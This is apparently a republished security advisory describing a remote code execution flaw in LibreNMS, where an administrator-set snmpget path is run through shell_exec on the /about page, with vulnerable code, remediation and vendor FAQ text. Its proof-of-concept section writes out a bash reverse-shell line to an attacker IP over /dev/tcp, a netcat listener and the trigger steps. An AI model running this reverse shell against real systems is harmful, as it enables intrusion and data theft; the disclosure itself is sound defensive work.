Summary
LibreNMS Vulnerable to Remote Code Execution via AboutController
Remote Code Execution via AboutController in LibreNMS
A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.
Severity: High (CVSS 7.2)
Attack Vector: Network
Privileges Required: High (Administrator)
User Interaction: None
Impact: Complete system compromise with web server privileges
Details
Vulnerable Code
File: app/Http/Controllers/AboutController.php
Line: 85
'version_netsnmp' => str_replace('version: ', '',
rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),
Root Cause
The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.
Configuration Access
The snmpget configuration can be modified through the web interface:
- Endpoint:
PUT /settings/snmpget - Controller:
SettingsController::update() - Required Privileges: Administrator
- Config Definition:
resources/definitions/config_definitions.json
"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
Validation Analysis
The sanitizePath() function in DynamicConfigItem.php:
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg_match('/[`;#$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
Attack Scenarios
| Scenario | Description |
|---|---|
| Insider Threat | Internal admin creates malicious file → updates config → RCE |
| Privilege Escalation | Attacker with limited access → creates file → full RCE |
| Supply Chain | Malicious package installs binary → admin uses it → RCE |
PoC
Prerequisites
- Valid administrator credentials for LibreNMS web interface
- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)
Proof of Concept - Reverse Shell
Step 1: Create Malicious Executable
Create a reverse shell payload that connects back to the attacker:
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev_shell.sh and make it executable:
chmod +x /tmp/rev_shell.sh
Step 2: Setup Netcat Listener
On your attacking machine, start a netcat listener:
nc -lvnp 9001
Step 3: Update Configuration via Web Interface
Login to LibreNMS web interface as administrator and navigate to:
- Settings → External → Binaries
- Locate snmpget configuration
- Update the value to:
/tmp/rev_shell.sh - Click Save
Step 4: Trigger RCE
Access the /about endpoint to execute the malicious binary:
Impact Summary
| Category | Level | Description |
|---|---|---|
| Confidentiality | HIGH | Read config files, database credentials, SSH keys |
| Integrity | HIGH | Create webshells, backdoors, modify code |
| Availability | HIGH | Disrupt services, delete data, stop monitoring |
| Scope | CHANGED | Compromise extends beyond application to system |
Who Is Impacted
- LibreNMS installations where attacker has admin credentials AND file system access
- Organizations using LibreNMS for network monitoring
- Systems monitored by LibreNMS (lateral movement risk)
Impact
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Replace shell_exec() with Symfony Process component:
// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')
// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();
Frequently Asked Questions
- What is GHSA-JF24-8G2H-2WG7? GHSA-JF24-8G2H-2WG7 is a medium-severity command injection vulnerability in librenms/librenms (composer), affecting versions < 26.5.0. It is fixed in 26.5.0. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- Which versions of librenms/librenms are affected by GHSA-JF24-8G2H-2WG7? librenms/librenms (composer) versions < 26.5.0 is affected.
- Is there a fix for GHSA-JF24-8G2H-2WG7? Yes. GHSA-JF24-8G2H-2WG7 is fixed in 26.5.0. Upgrade to this version or later.
- Is GHSA-JF24-8G2H-2WG7 exploitable, and should I be worried? Whether GHSA-JF24-8G2H-2WG7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-JF24-8G2H-2WG7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-JF24-8G2H-2WG7? Upgrade
librenms/librenmsto 26.5.0 or later.